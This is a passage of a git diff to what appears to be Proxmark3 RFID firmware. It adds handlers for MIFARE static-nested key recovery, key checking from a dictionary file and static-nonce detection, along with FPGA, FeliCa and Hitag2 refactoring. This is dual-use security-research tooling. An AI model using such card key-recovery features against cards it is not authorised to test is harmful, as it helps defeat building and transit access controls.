packet->data.asBytes); break; } case CMD_LF_HITAG_READER: { // Reader for Hitag tags, args = type and function @@ -1142,6 +1151,18 @@ static void PacketReceived(PacketCommandNG *packet) { MifareNested(payload->block, payload->keytype, payload->target_block, payload->target_keytype, payload->calibrate, payload->key); break; } + case CMD_HF_MIFARE_STATIC_NESTED: { + struct p { + uint8_t block; + uint8_t keytype; + uint8_t target_block; + uint8_t target_keytype; + uint8_t key[6]; + } PACKED; + struct p *payload = (struct p *) packet->data.asBytes; + MifareStaticNested(payload->block, payload->keytype, payload->target_block, payload->target_keytype, payload->key); + break; + } case CMD_HF_MIFARE_CHKKEYS: { MifareChkKeys(packet->data.asBytes); break; @@ -1150,6 +1171,14 @@ static void PacketReceived(PacketCommandNG *packet) { MifareChkKeys_fast(packet->oldarg[0], packet->oldarg[1], packet->oldarg[2], packet->data.asBytes); break; } + case CMD_HF_MIFARE_CHKKEYS_FILE: { + struct p { + uint8_t filename[32]; + } PACKED; + struct p *payload = (struct p *) packet->data.asBytes; + MifareChkKeys_file(payload->filename); + break; + } case CMD_HF_MIFARE_SIMULATE: { struct p { uint16_t flags; @@ -1249,6 +1278,10 @@ static void PacketReceived(PacketCommandNG *packet) { MifareU_Otp_Tearoff(); break; } + case CMD_HF_MIFARE_STATIC_NONCE: { + MifareHasStaticNonce(); + break; + } #endif #ifdef WITH_NFCBARCODE @@ -1347,6 +1380,13 @@ static void PacketReceived(PacketCommandNG *packet) { } #endif +#ifdef WITH_HFPLOT + case CMD_FPGAMEM_DOWNLOAD: { + HfPlotDownload(); + break; + } +#endif + #ifdef WITH_SMARTCARD case CMD_SMART_ATR: { SmartCardAtr(); @@ -1512,7 +1552,7 @@ static void PacketReceived(PacketCommandNG *packet) { case 1: // MEASURE_ANTENNA_TUNING_LF_START // Let the FPGA drive the low-frequency antenna around 125kHz FpgaDownloadAndGo(FPGA_BITSTREAM_LF); - FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_ADC | FPGA_LF_ADC_READER_FIELD); + FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_READER | FPGA_LF_ADC_READER_FIELD); FpgaSendCommand(FPGA_CMD_SET_DIVISOR, packet->data.asBytes[1]); reply_ng(CMD_MEASURE_ANTENNA_TUNING_LF, PM3_SUCCESS, NULL, 0); break; @@ -1592,6 +1632,8 @@ static void PacketReceived(PacketCommandNG *packet) { BigBuf_Clear_ext(false); BigBuf_free(); } + + // 40 000 - (512-3) 509 = 39491 uint16_t offset = MIN(BIGBUF_SIZE - PM3_CMD_DATA_SIZE - 3, payload->offset); // need to copy len bytes of data, not PM3_CMD_DATA_SIZE - 3 - offset @@ -1599,6 +1641,8 @@ static void PacketReceived(PacketCommandNG *packet) { uint16_t len = MIN(BIGBUF_SIZE - offset, PM3_CMD_DATA_SIZE - 3); uint8_t *mem = BigBuf_get_addr(); + + // x + 394 memcpy(mem + offset, &payload->data, len); // memcpy(mem + offset, &payload->data, PM3_CMD_DATA_SIZE - 3 - offset); reply_ng(CMD_LF_UPLOAD_SIM_SAMPLES, PM3_SUCCESS, NULL, 0); @@ -1622,7 +1666,7 @@ static void PacketReceived(PacketCommandNG *packet) { Dbprintf("transfer to client failed :: | bytes between %d - %d (%d) | result: %d", i, i + len, len, result); } // Trigger a finish downloading signal with an ACK frame - reply_old(CMD_ACK, 1, 0, 0, 0, 0); + reply_mix(CMD_ACK, 1, 0, 0, 0, 0); LED_B_OFF(); break; } @@ -1683,7 +1727,7 @@ static void PacketReceived(PacketCommandNG *packet) { Dbprintf("transfer to client failed :: | bytes between %d - %d (%d) | result: %d", i, i + len, len, result); } // Trigger a finish downloading signal with an ACK frame - reply_old(CMD_ACK, 1, 0, 0, 0, 0); + reply_mix(CMD_ACK, 1, 0, 0, 0, 0); LED_B_OFF(); break; } @@ -1765,7 +1809,7 @@ static void PacketReceived(PacketCommandNG *packet) { } else { rdv40_spiffs_append((char *) filename, (uint8_t *)data, size, RDV40_SPIFFS_SAFETY_SAFE); } - reply_old(CMD_ACK, 1, 0, 0, 0, 0); + reply_mix(CMD_ACK, 1, 0, 0, 0, 0); LED_B_OFF(); break; } @@ -1807,7 +1851,7 @@ static void PacketReceived(PacketCommandNG *packet) { res = Flash_Write(startidx, data, len); isok = (res == len) ? 1 : 0; - reply_old(CMD_ACK, isok, 0, 0, 0, 0); + reply_mix(CMD_ACK, isok, 0, 0, 0, 0); LED_B_OFF(); break; } @@ -1818,14 +1862,14 @@ static void PacketReceived(PacketCommandNG *packet) { bool isok = false; if (initalwipe) { isok = Flash_WipeMemory(); - reply_old(CMD_ACK, isok, 0, 0, 0, 0); + reply_mix(CMD_ACK, isok, 0, 0, 0, 0); LED_B_OFF(); break; } if (page < 3) isok = Flash_WipeMemoryPage(page); - reply_old(CMD_ACK, isok, 0, 0, 0, 0); + reply_mix(CMD_ACK, isok, 0, 0, 0, 0); LED_B_OFF(); break; } @@ -1856,7 +1900,7 @@ static void PacketReceived(PacketCommandNG *packet) { } FlashStop(); - reply_old(CMD_ACK, 1, 0, 0, 0, 0); + reply_mix(CMD_ACK, 1, 0, 0, 0, 0); BigBuf_free(); LED_B_OFF(); break; diff --git a/armsrc/cmd.c b/armsrc/cmd.c index 4b6dd3c1c..c7f76960b 100644 --- a/armsrc/cmd.c +++ b/armsrc/cmd.c @@ -43,10 +43,10 @@ bool reply_via_fpc = false; bool reply_via_usb = false; int reply_old(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, void *data, size_t len) { - PacketResponseOLD txcmd; + PacketResponseOLD txcmd = {CMD_UNKNOWN, {0, 0, 0}, {{0}}}; - for (size_t i = 0; i < sizeof(PacketResponseOLD); i++) - ((uint8_t *)&txcmd)[i] = 0x00; +// for (size_t i = 0; i < sizeof(PacketResponseOLD); i++) +// ((uint8_t *)&txcmd)[i] = 0x00; // Compose the outgoing command frame txcmd.cmd = cmd; diff --git a/armsrc/des.c b/armsrc/des.c index b84bc4c30..ccd32be7d 100644 --- a/armsrc/des.c +++ b/armsrc/des.c @@ -272,7 +272,7 @@ uint8_t substitute(uint8_t a, uint8_t *sbp) { uint32_t des_f(uint32_t r, uint8_t *kr) { uint8_t i; uint32_t t = 0, ret; - uint64_t data; + uint64_t data = 0; uint8_t *sbp; /* sboxpointer */ permute((uint8_t *)e_permtab, (uint8_t *)&r, (uint8_t *)&data); for (i = 0; i < 6; ++i) diff --git a/armsrc/felica.c b/armsrc/felica.c index 1a3b6f6ac..b1e0253a2 100644 --- a/armsrc/felica.c +++ b/armsrc/felica.c @@ -26,9 +26,7 @@ #ifndef DELAY_ARM2AIR_AS_READER #define DELAY_ARM2AIR_AS_READER (4*16 + 8*16 + 8 + 8 + 1) // 209 #endif - -// CRC skips two first sync bits in data buffer -#define AddCrc(data, len) compute_crc(CRC_FELICA, (data)+2, (len),(data)+(len)+2, (data)+(len)+3) +#define AddCrc(data, len) compute_crc(CRC_FELICA, (data), (len), (data)+(len)+1, (data)+(len)) static uint32_t felica_timeout; static uint32_t felica_nexttransfertime; @@ -285,12 +283,12 @@ static uint8_t felica_select_card(felica_card_select_t *card) { // 8-byte IDm, number of blocks, blocks numbers // number of blocks limited to 4 for FelicaLite(S) static void BuildFliteRdblk(uint8_t *idm, int blocknum, uint16_t *blocks) { - if (blocknum > 4 || blocknum <= 0) Dbprintf("Invalid number of blocks, %d != 4", blocknum); uint8_t c = 0, i = 0; + // Sync bytes frameSpace[c++] = 0xb2; frameSpace[c++] = 0x4d; @@ -333,11 +331,12 @@ static void BuildFliteRdblk(uint8_t *idm, int blocknum, uint16_t *blocks) { //set length frameSpace[2] = c - 2; - AddCrc(frameSpace, c - 2); + //Add CRC + AddCrc(frameSpace + 2, c - 2); } static void TransmitFor18092_AsReader(uint8_t *frame, int len, uint32_t *timing, uint8_t power, uint8_t highspeed) { - uint8_t flags = FPGA_MAJOR_MODE_ISO18092; + uint8_t flags = FPGA_MAJOR_MODE_HF_ISO18092; if (power) flags |= FPGA_HF_ISO18092_FLAG_READER; if (highspeed) @@ -404,11 +403,13 @@ bool WaitForFelicaReply(uint16_t maxbytes) { Dbprintf("WaitForFelicaReply Start"); uint32_t c = 0; // power, no modulation - FpgaWriteConfWord(FPGA_MAJOR_MODE_ISO18092 | FPGA_HF_ISO18092_FLAG_READER | FPGA_HF_ISO18092_FLAG_NOMOD); + FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO18092 | FPGA_HF_ISO18092_FLAG_READER | FPGA_HF_ISO18092_FLAG_NOMOD); FelicaFrameReset(); // clear RXRDY: uint8_t b = (uint8_t)AT91C_BASE_SSC->SSC_RHR; + (void)b; + uint32_t timeout = iso18092_get_timeout(); for (;;) { @@ -469,7 +470,7 @@ static void iso18092_setup(uint8_t fpga_minor_mode) { AT91C_BASE_SSC->SSC_RFMR = SSC_FRAME_MODE_BITS_IN_WORD(8) | SSC_FRAME_MODE_WORDS_PER_TRANSFER(0); // Signal field is on with the appropriate LED - FpgaWriteConfWord(FPGA_MAJOR_MODE_ISO18092 | fpga_minor_mode); + FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO18092 | fpga_minor_mode); //20.4 ms generate field, start sending polling command afterwars. SpinDelay(100); @@ -586,7 +587,7 @@ void felica_sniff(uint32_t samplesToSkip, uint32_t triggersToSkip) { if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_RXRDY) { uint8_t dist = (uint8_t)(AT91C_BASE_SSC->SSC_RHR); Process18092Byte(dist); - if ((MAX(dist & 0xff, dist >> 8) >= 178) && (++trigger_cnt > triggersToSkip)) { + if ((dist >= 178) && (++trigger_cnt > triggersToSkip)) { Dbprintf("triggersToSkip kicked %d", dist); break; } @@ -718,7 +719,7 @@ void felica_sim_lite(uint64_t uid) { TransmitFor18092_AsReader(curresp, curlen, NULL, 0, 0); //switch back - FpgaWriteConfWord(FPGA_MAJOR_MODE_ISO18092 | FPGA_HF_ISO18092_FLAG_NOMOD); + FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO18092 | FPGA_HF_ISO18092_FLAG_NOMOD); FelicaFrameReset(); listenmode = true; @@ -751,28 +752,26 @@ void felica_dump_lite_s() { uint8_t *dest = BigBuf_get_addr(); while (!BUTTON_PRESS() && !data_available()) { - WDT_HIT(); - // polling? //TransmitFor18092_AsReader(poll, 10, GetCountSspClk()+512, 1, 0); TransmitFor18092_AsReader(poll, 10, NULL, 1, 0); if (WaitForFelicaReply(512) && FelicaFrame.framebytes[3] == FELICA_POLL_ACK) { - // copy 8bytes to ndef. memcpy(ndef, FelicaFrame.framebytes + 4, 8); // for (c=0; c < 8; c++) // ndef[c] = FelicaFrame.framebytes[c+4]; for (blknum = 0; blknum < ARRAYLEN(liteblks);) { - // block to read. BuildFliteRdblk(ndef, 1, &liteblks[blknum]); //TransmitFor18092_AsReader(frameSpace, frameSpace[2]+4, GetCountSspClk()+512, 1, 0); - TransmitFor18092_AsReader(frameSpace, frameSpace[2] + 4, NULL, 1, 0); + + + TransmitFor18092_AsReader(frameSpace, frameSpace[2] + 4, NULL, 1, 0); // read block if (WaitForFelicaReply(1024) && FelicaFrame.framebytes[3] == FELICA_RDBLK_ACK) { @@ -801,11 +800,11 @@ void felica_dump_lite_s() { } } } + isOK = true; break; } } - switch_off(); //Resetting Frame mode (First set in fpgaloader.c) diff --git a/armsrc/fpgaloader.c b/armsrc/fpgaloader.c index 87213df96..a5ca3f6d1 100644 --- a/armsrc/fpgaloader.c +++ b/armsrc/fpgaloader.c @@ -124,8 +124,8 @@ void SetupSpi(int mode) { } //----------------------------------------------------------------------------- -// Set up the synchronous serial port, with the one set of options that we -// always use when we are talking to the FPGA. Both RX and TX are enabled. +// Set up the synchronous serial port with the set of options that fits +// the FPGA mode. Both RX and TX are always enabled. //----------------------------------------------------------------------------- void FpgaSetupSsc(void) { // First configure the GPIOs, and get ourselves a clock. @@ -141,16 +141,16 @@ void FpgaSetupSsc(void) { // Now set up the SSC proper, starting from a known state. AT91C_BASE_SSC->SSC_CR = AT91C_SSC_SWRST; - // RX clock comes from TX clock, RX starts when TX starts, data changes - // on RX clock rising edge, sampled on falling edge + // RX clock comes from TX clock, RX starts on Transmit Start, + // data and frame signal is sampled on falling edge of RK AT91C_BASE_SSC->SSC_RCMR = SSC_CLOCK_MODE_SELECT(1) | SSC_CLOCK_MODE_START(1); // 8 bits per transfer, no loopback, MSB first, 1 transfer per sync // pulse, no output sync AT91C_BASE_SSC->SSC_RFMR = SSC_FRAME_MODE_BITS_IN_WORD(8) | AT91C_SSC_MSBF | SSC_FRAME_MODE_WORDS_PER_TRANSFER(0); - // clock comes from TK pin, no clock output, outputs change on falling - // edge of TK, sample on rising edge of TK, start on positive-going edge of sync + // TX clock comes from TK pin, no clock output, outputs change on falling + // edge of TK, frame sync is sampled on rising edge of TK, start TX on rising edge of TF AT91C_BASE_SSC->SSC_TCMR = SSC_CLOCK_MODE_SELECT(2) | SSC_CLOCK_MODE_START(5); // tx framing is the same as the rx framing @@ -400,8 +400,10 @@ static int bitparse_find_section(int bitstream_version, char section_name, uint3 void FpgaDownloadAndGo(int bitstream_version) { // check whether or not the bitstream is already loaded - if (downloaded_bitstream == bitstream_version) + if (downloaded_bitstream == bitstream_version) { + FpgaEnableTracing(); return; + } // Send waiting time extension request as this will take a while send_wtx(1500); @@ -437,6 +439,8 @@ void FpgaDownloadAndGo(int bitstream_version) { // Send a 16 bit command/data pair to the FPGA. // The bit format is: C3 C2 C1 C0 D11 D10 D9 D8 D7 D6 D5 D4 D3 D2 D1 D0 // where C is the 4 bit command and D is the 12 bit data +// +// @params cmd and v gets or over eachother. Take careful note of overlapping bits. //----------------------------------------------------------------------------- void FpgaSendCommand(uint16_t cmd, uint16_t v) { SetupSpi(SPI_FPGA_MODE); @@ -449,10 +453,21 @@ void FpgaSendCommand(uint16_t cmd, uint16_t v) { // vs. clone vs. etc.). This is now a special case of FpgaSendCommand() to // avoid changing this function's occurence everywhere in the source code. //----------------------------------------------------------------------------- -void FpgaWriteConfWord(uint8_t v) { +void FpgaWriteConfWord(uint16_t v) { FpgaSendCommand(FPGA_CMD_SET_CONFREG, v); } +//----------------------------------------------------------------------------- +// enable/disable FPGA internal tracing +//----------------------------------------------------------------------------- +void FpgaEnableTracing(void) { + FpgaSendCommand(FPGA_CMD_TRACE_ENABLE, 1); +} + +void FpgaDisableTracing(void) { + FpgaSendCommand(FPGA_CMD_TRACE_ENABLE, 0); +} + //----------------------------------------------------------------------------- // Set up the CMOS switches that mux the ADC: four switches, independently // closable, but should only close one at a time. Not an FPGA thing, but diff --git a/armsrc/fpgaloader.h b/armsrc/fpgaloader.h index 83c5bb2e4..636c5b7b7 100644 --- a/armsrc/fpgaloader.h +++ b/armsrc/fpgaloader.h @@ -20,40 +20,72 @@ // definitions for multiple FPGA config files support #define FPGA_BITSTREAM_LF 1 #define FPGA_BITSTREAM_HF 2 -//#define FPGA_BITSTREAM_FELICA 3 + +/* + Communication between ARM / FPGA is done inside armsrc/fpgaloader.c (function FpgaSendCommand) + Send 16 bit command / data pair to FPGA + The bit format is: C3 C2 C1 C0 D11 D10 D9 D8 D7 D6 D5 D4 D3 D2 D1 D0 + where + C is 4bit command + D is 12bit data + +-----+--------- frame layout -------------------- +bit | 15 14 13 12 11 10 9 8 7 6 5 4 3 2 1 0 +-----+------------------------------------------- +cmd | x x x x +major| x x x +opt | x x +divi | x x x x x x x x +thres| x x x x x x x x +-----+------------------------------------------- +*/ // Definitions for the FPGA commands. -#define FPGA_CMD_SET_CONFREG (1<<12) -#define FPGA_CMD_SET_DIVISOR (2<<12) -#define FPGA_CMD_SET_USER_BYTE1 (3<<12) +// BOTH HF / LF +#define FPGA_CMD_SET_CONFREG (1<<12) // C + +// LF +#define FPGA_CMD_SET_DIVISOR (2<<12) // C +#define FPGA_CMD_SET_USER_BYTE1 (3<<12) // C + +// HF +#define FPGA_CMD_TRACE_ENABLE (2<<12) // C + // Definitions for the FPGA configuration word. // LF -#define FPGA_MAJOR_MODE_LF_ADC (0<<5) +#define FPGA_MAJOR_MODE_LF_READER (0<<5) #define FPGA_MAJOR_MODE_LF_EDGE_DETECT (1<<5) #define FPGA_MAJOR_MODE_LF_PASSTHRU (2<<5) -// HF -#define FPGA_MAJOR_MODE_HF_READER_TX (0<<5) -#define FPGA_MAJOR_MODE_HF_READER_RX_XCORR (1<<5) -#define FPGA_MAJOR_MODE_HF_SIMULATOR (2<<5) -#define FPGA_MAJOR_MODE_HF_ISO14443A (3<<5) -#define FPGA_MAJOR_MODE_HF_SNOOP (4<<5) -#define FPGA_MAJOR_MODE_HF_FELICA (5<<5) -// BOTH -#define FPGA_MAJOR_MODE_OFF_LF (6<<5) -#define FPGA_MAJOR_MODE_OFF (7<<5) +#define FPGA_MAJOR_MODE_LF_ADC (3<<5) + +// HF +#define FPGA_MAJOR_MODE_HF_READER_TX (0<<5) // D +#define FPGA_MAJOR_MODE_HF_READER_RX_XCORR (1<<5) // D +#define FPGA_MAJOR_MODE_HF_SIMULATOR (2<<5) // D +#define FPGA_MAJOR_MODE_HF_ISO14443A (3<<5) // D +#define FPGA_MAJOR_MODE_HF_SNOOP (4<<5) // D +#define FPGA_MAJOR_MODE_HF_ISO18092 (5<<5) // D +#define FPGA_MAJOR_MODE_HF_GET_TRACE (6<<5) // D + +// BOTH HF / LF +#define FPGA_MAJOR_MODE_OFF (7<<5) // D + +// Options for LF_READER +#define FPGA_LF_ADC_READER_FIELD 0x1 -// Options for LF_ADC -#define FPGA_LF_ADC_READER_FIELD (1<<0) // Options for LF_EDGE_DETECT #define FPGA_CMD_SET_EDGE_DETECT_THRESHOLD FPGA_CMD_SET_USER_BYTE1 -#define FPGA_LF_EDGE_DETECT_READER_FIELD (1<<0) -#define FPGA_LF_EDGE_DETECT_TOGGLE_MODE (1<<1) +#define FPGA_LF_EDGE_DETECT_READER_FIELD 0x1 +#define FPGA_LF_EDGE_DETECT_TOGGLE_MODE 0x2 + // Options for the HF reader, tx to tag -#define FPGA_HF_READER_TX_SHALLOW_MOD (1<<0) +#define FPGA_HF_READER_TX_SHALLOW_MOD 0x1 + // Options for the HF reader, correlating against rx from tag -#define FPGA_HF_READER_RX_XCORR_848_KHZ (1<<0) -#define FPGA_HF_READER_RX_XCORR_SNOOP (1<<1) -#define FPGA_HF_READER_RX_XCORR_QUARTER (1<<2) +#define FPGA_HF_READER_RX_XCORR_848_KHZ 0x1 +#define FPGA_HF_READER_RX_XCORR_SNOOP 0x2 +#define FPGA_HF_READER_RX_XCORR_QUARTER 0x4 + // Options for the HF simulated tag, how to modulate #define FPGA_HF_SIMULATOR_NO_MODULATION 0x0 // 0000 #define FPGA_HF_SIMULATOR_MODULATE_BPSK 0x1 // 0001 @@ -63,20 +95,21 @@ // no 848K // Options for ISO14443A -#define FPGA_HF_ISO14443A_SNIFFER (0<<0) -#define FPGA_HF_ISO14443A_TAGSIM_LISTEN (1<<0) -#define FPGA_HF_ISO14443A_TAGSIM_MOD (2<<0) -#define FPGA_HF_ISO14443A_READER_LISTEN (3<<0) -#define FPGA_HF_ISO14443A_READER_MOD (4<<0) +#define FPGA_HF_ISO14443A_SNIFFER 0x0 +#define FPGA_HF_ISO14443A_TAGSIM_LISTEN 0x1 +#define FPGA_HF_ISO14443A_TAGSIM_MOD 0x2 +#define FPGA_HF_ISO14443A_READER_LISTEN 0x3 +#define FPGA_HF_ISO14443A_READER_MOD 0x4 //options for Felica. -#define FPGA_MAJOR_MODE_ISO18092 (5<<5) // 01010 0000 -#define FPGA_HF_ISO18092_FLAG_NOMOD (1<<0) // 0001 disable modulation module -#define FPGA_HF_ISO18092_FLAG_424K (2<<0) // 0010 should enable 414k mode (untested). No autodetect -#define FPGA_HF_ISO18092_FLAG_READER (4<<0) // 0100 enables antenna power, to act as a reader instead of tag +#define FPGA_HF_ISO18092_FLAG_NOMOD 0x1 // 0001 disable modulation module +#define FPGA_HF_ISO18092_FLAG_424K 0x2 // 0010 should enable 414k mode (untested). No autodetect +#define FPGA_HF_ISO18092_FLAG_READER 0x4 // 0100 enables antenna power, to act as a reader instead of tag void FpgaSendCommand(uint16_t cmd, uint16_t v); -void FpgaWriteConfWord(uint8_t v); +void FpgaWriteConfWord(uint16_t v); +void FpgaEnableTracing(void); +void FpgaDisableTracing(void); void FpgaDownloadAndGo(int bitstream_version); // void FpgaGatherVersion(int bitstream_version, char *dst, int len); void FpgaSetupSsc(void); diff --git a/armsrc/frozen.c b/armsrc/frozen.c index a43300319..41f2179cd 100644 --- a/armsrc/frozen.c +++ b/armsrc/frozen.c @@ -437,27 +437,27 @@ static int json_doit(struct frozen *f) { } int json_escape(struct json_out *out, const char *p, size_t len) WEAK; -int json_escape(struct json_out *out, const char *p, size_t len) { +int json_escape(struct json_out *out, const char *str, size_t str_len) { size_t i, cl, n = 0; const char *hex_digits = "0123456789abcdef"; const char *specials = "btnvfr"; - for (i = 0; i < len; i++) { - unsigned char ch = ((unsigned char *) p)[i]; + for (i = 0; i < str_len; i++) { + unsigned char ch = ((unsigned char *) str)[i]; if (ch == '"' || ch == '\\') { n += out->printer(out, "\\", 1); - n += out->printer(out, p + i, 1); + n += out->printer(out, str + i, 1); } else if (ch >= '\b' && ch <= '\r') { n += out->printer(out, "\\", 1); n += out->printer(out, &specials[ch - '\b'], 1); } else if (c_isprint(ch)) { - n += out->printer(out, p + i, 1); + n += out->printer(out, str + i, 1); } else if ((cl = json_get_utf8_char_len(ch)) == 1) { n += out->printer(out, "\\u00", 4); n += out->printer(out, &hex_digits[(ch >> 4) % 0xf], 1); n += out->printer(out, &hex_digits[ch % 0xf], 1); } else { - n += out->printer(out, p + i, cl); + n += out->printer(out, str + i, cl); i += cl - 1; } } @@ -1032,8 +1032,8 @@ static void json_scanf_cb(void *callback_data, const char *name, } } -int json_vscanf(const char *s, int len, const char *fmt, va_list ap) WEAK; -int json_vscanf(const char *s, int len, const char *fmt, va_list ap) { +int json_vscanf(const char *str, int len, const char *fmt, va_list ap) WEAK; +int json_vscanf(const char *str, int len, const char *fmt, va_list ap) { char path[JSON_MAX_PATH_LEN] = "", fmtbuf[20]; int i = 0; char *p = NULL; @@ -1070,7 +1070,7 @@ int json_vscanf(const char *s, int len, const char *fmt, va_list ap) { break; } } - json_walk(s, len, json_scanf_cb, &info); + json_walk(str, len, json_scanf_cb, &info); } else if (json_isalpha(fmt[i]) || json_get_utf8_char_len(fmt[i]) > 1) { char *pe; const char *delims = ": \r\n\t"; diff --git a/armsrc/frozen.h b/armsrc/frozen.h index a81522a64..fc6fd3b3b 100644 --- a/armsrc/frozen.h +++ b/armsrc/frozen.h @@ -144,7 +144,7 @@ typedef int (*json_printf_callback_t)(struct json_out *, va_list *ap); * overflown bytes are not printed. */ int json_printf(struct json_out *, const char *fmt, ...); -int json_vprintf(struct json_out *, const char *fmt, va_list ap); +int json_vprintf(struct json_out *, const char *fmt, va_list xap); /* * Same as json_printf, but prints to a file. @@ -212,8 +212,7 @@ typedef void (*json_scanner_t)(const char *str, int len, void *user_data); * Fills `token` with the matched JSON token. * Return -1 if no array element found, otherwise non-negative token length. */ -int json_scanf_array_elem(const char *s, int len, const char *path, int index, - struct json_token *token); +int json_scanf_array_elem(const char *s, int len, const char *path, int idx, struct json_token *token); /* * Unescape JSON-encoded string src,slen into dst, dlen. diff --git a/armsrc/hfsnoop.c b/armsrc/hfsnoop.c index 2c96ec218..770280b9b 100644 --- a/armsrc/hfsnoop.c +++ b/armsrc/hfsnoop.c @@ -1,3 +1,12 @@ +//----------------------------------------------------------------------------- +// piwi, 2019 +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// Routines to get sample data from FPGA. +//----------------------------------------------------------------------------- #include "hfsnoop.h" #include "proxmark3_arm.h" #include "BigBuf.h" @@ -5,8 +14,9 @@ #include "ticks.h" #include "dbprint.h" #include "util.h" - -static void RAMFUNC optimizedSniff(void); +#include "fpga.h" +#include "appmain.h" +#include "cmd.h" static void RAMFUNC optimizedSniff(void) { int n = BigBuf_max_traceLen() / sizeof(uint16_t); // take all memory @@ -79,3 +89,42 @@ void HfSniff(int samplesToSkip, int triggersToSkip) { FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); LED_D_OFF(); } + +void HfPlotDownload(void) { + uint8_t *buf = ToSend; + uint8_t *this_buf = buf; + + FpgaDownloadAndGo(FPGA_BITSTREAM_HF); + + FpgaSetupSsc(); + + AT91C_BASE_PDC_SSC->PDC_PTCR = AT91C_PDC_RXTDIS; // Disable DMA Transfer + AT91C_BASE_PDC_SSC->PDC_RPR = (uint32_t) this_buf; // start transfer to this memory address + AT91C_BASE_PDC_SSC->PDC_RCR = PM3_CMD_DATA_SIZE; // transfer this many samples + buf[0] = (uint8_t)AT91C_BASE_SSC->SSC_RHR; // clear receive register + AT91C_BASE_PDC_SSC->PDC_PTCR = AT91C_PDC_RXTEN; // Start DMA transfer + + FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_GET_TRACE); // let FPGA transfer its internal Block-RAM + + LED_B_ON(); + for (size_t i = 0; i < FPGA_TRACE_SIZE; i += PM3_CMD_DATA_SIZE) { + // prepare next DMA transfer: + uint8_t *next_buf = buf + ((i + PM3_CMD_DATA_SIZE) % (2 * PM3_CMD_DATA_SIZE)); + + AT91C_BASE_PDC_SSC->PDC_RNPR = (uint32_t)next_buf; + AT91C_BASE_PDC_SSC->PDC_RNCR = PM3_CMD_DATA_SIZE; + + size_t len = MIN(FPGA_TRACE_SIZE - i, PM3_CMD_DATA_SIZE); + + while (!(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_ENDRX))) {}; // wait for DMA transfer to complete + + reply_old(CMD_FPGAMEM_DOWNLOADED, i, len, FPGA_TRACE_SIZE, this_buf, len); + this_buf = next_buf; + } + + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + + // Trigger a finish downloading signal with an ACK frame + reply_mix(CMD_ACK, 1, 0, FPGA_TRACE_SIZE, 0, 0); + LED_B_OFF(); +} diff --git a/armsrc/hfsnoop.h b/armsrc/hfsnoop.h index b6fac7eb7..049536940 100644 --- a/armsrc/hfsnoop.h +++ b/armsrc/hfsnoop.h @@ -1,6 +1,7 @@ //----------------------------------------------------------------------------- // Jonathan Westhues, Aug 2005 // Gerhard de Koning Gans, April 2008, May 2011 +// Piwi, Feb 2019 // // This code is licensed to you under the terms of the GNU GPL, version 2 or, // at your option, any later version. See the LICENSE.txt file for the text of @@ -12,5 +13,5 @@ #define __HFSNOOP_H void HfSniff(int, int); - +void HfPlotDownload(void); #endif diff --git a/armsrc/hitag2.c b/armsrc/hitag2.c index 3531ac9ea..8a0d4934a 100644 --- a/armsrc/hitag2.c +++ b/armsrc/hitag2.c @@ -17,6 +17,8 @@ //----------------------------------------------------------------------------- // Piwi, 2019 // Iceman, 2019 +// Anon, 2019 +// Doegox, 2020 #include "hitag2.h" #include "hitag2_crypto.h" @@ -28,12 +30,24 @@ #include "ticks.h" #include "dbprint.h" #include "util.h" +#include "lfadc.h" +#include "lfsampling.h" +#include "lfdemod.h" +#include "commonutil.h" + + +#define test_bit(data, i) (*(data + (i/8)) >> (7-(i % 8))) & 1 +#define set_bit(data, i) *(data + (i/8)) |= (1 << (7-(i % 8))) +#define clear_bit(data, i) *(data + (i/8)) &= ~(1 << (7-(i % 8))) +#define flip_bit(data, i) *(data + (i/8)) ^= (1 << (7-(i % 8))) // Successful crypto auth static bool bCrypto; // Is in auth stage static bool bAuthenticating; // Successful password auth +bool bSelecting; +bool bCollision; static bool bPwd; static bool bSuccessful; @@ -52,6 +66,7 @@ static struct hitag2_tag tag = { [9] = { 0x00, 0x00, 0x00, 0x00}, // RSK High [10] = { 0x00, 0x00, 0x00, 0x00}, // RCF [11] = { 0x00, 0x00, 0x00, 0x00}, // SYNC + // up to index 15 reserved for HITAG1/HITAGS public data }, }; @@ -61,7 +76,6 @@ static enum { WRITE_STATE_PROG } writestate; - // ToDo: define a meaningful maximum size for auth_table. The bigger this is, the lower will be the available memory for traces. // Historically it used to be FREE_BUFFER_SIZE, which was 2744. #define AUTH_TABLE_LENGTH 2744 @@ -73,8 +87,15 @@ static uint8_t password[4]; static uint8_t NrAr[8]; static uint8_t key[8]; static uint8_t writedata[4]; +uint8_t logdata_0[4], logdata_1[4]; +uint8_t nonce[4]; +bool key_no; static uint64_t cipher_state; +size_t blocknr; +size_t flipped_bit = 0; +uint32_t byte_value = 0; + static int hitag2_reset(void) { tag.state = TAG_STATE_RESET; tag.crypto_active = 0; @@ -90,19 +111,21 @@ static int hitag2_init(void) { // TIMER_CLOCK1 = MCK/2, MCK is running at 48 MHz, Timer is running at 48/2 = 24 MHz // Hitag units (T0) have duration of 8 microseconds (us), which is 1/125000 per second (carrier) // T0 = TIMER_CLOCK1 / 125000 = 192 -#ifndef T0 -#define T0 192 +#ifndef HITAG_T0 +#define HITAG_T0 192 #endif #define HITAG_FRAME_LEN 20 #define HITAG_T_STOP 36 /* T_EOF should be > 36 */ #define HITAG_T_LOW 8 /* T_LOW should be 4..10 */ #define HITAG_T_0_MIN 15 /* T[0] should be 18..22 */ +#define HITAG_T_0 20 /* T[0] should be 18..22 */ #define HITAG_T_1_MIN 25 /* T[1] should be 26..30 */ +#define HITAG_T_1 30 /* T[1] should be 26..30 */ //#define HITAG_T_EOF 40 /* T_EOF should be > 36 */ #define HITAG_T_EOF 80 /* T_EOF should be > 36 */ -#define HITAG_T_WAIT_1 200 /* T_wresp should be 199..206 */ -#define HITAG_T_WAIT_2 90 /* T_wresp should be 199..206 */ +#define HITAG_T_WAIT_1_MIN 199 /* T_wresp should be 199..206 */ +#define 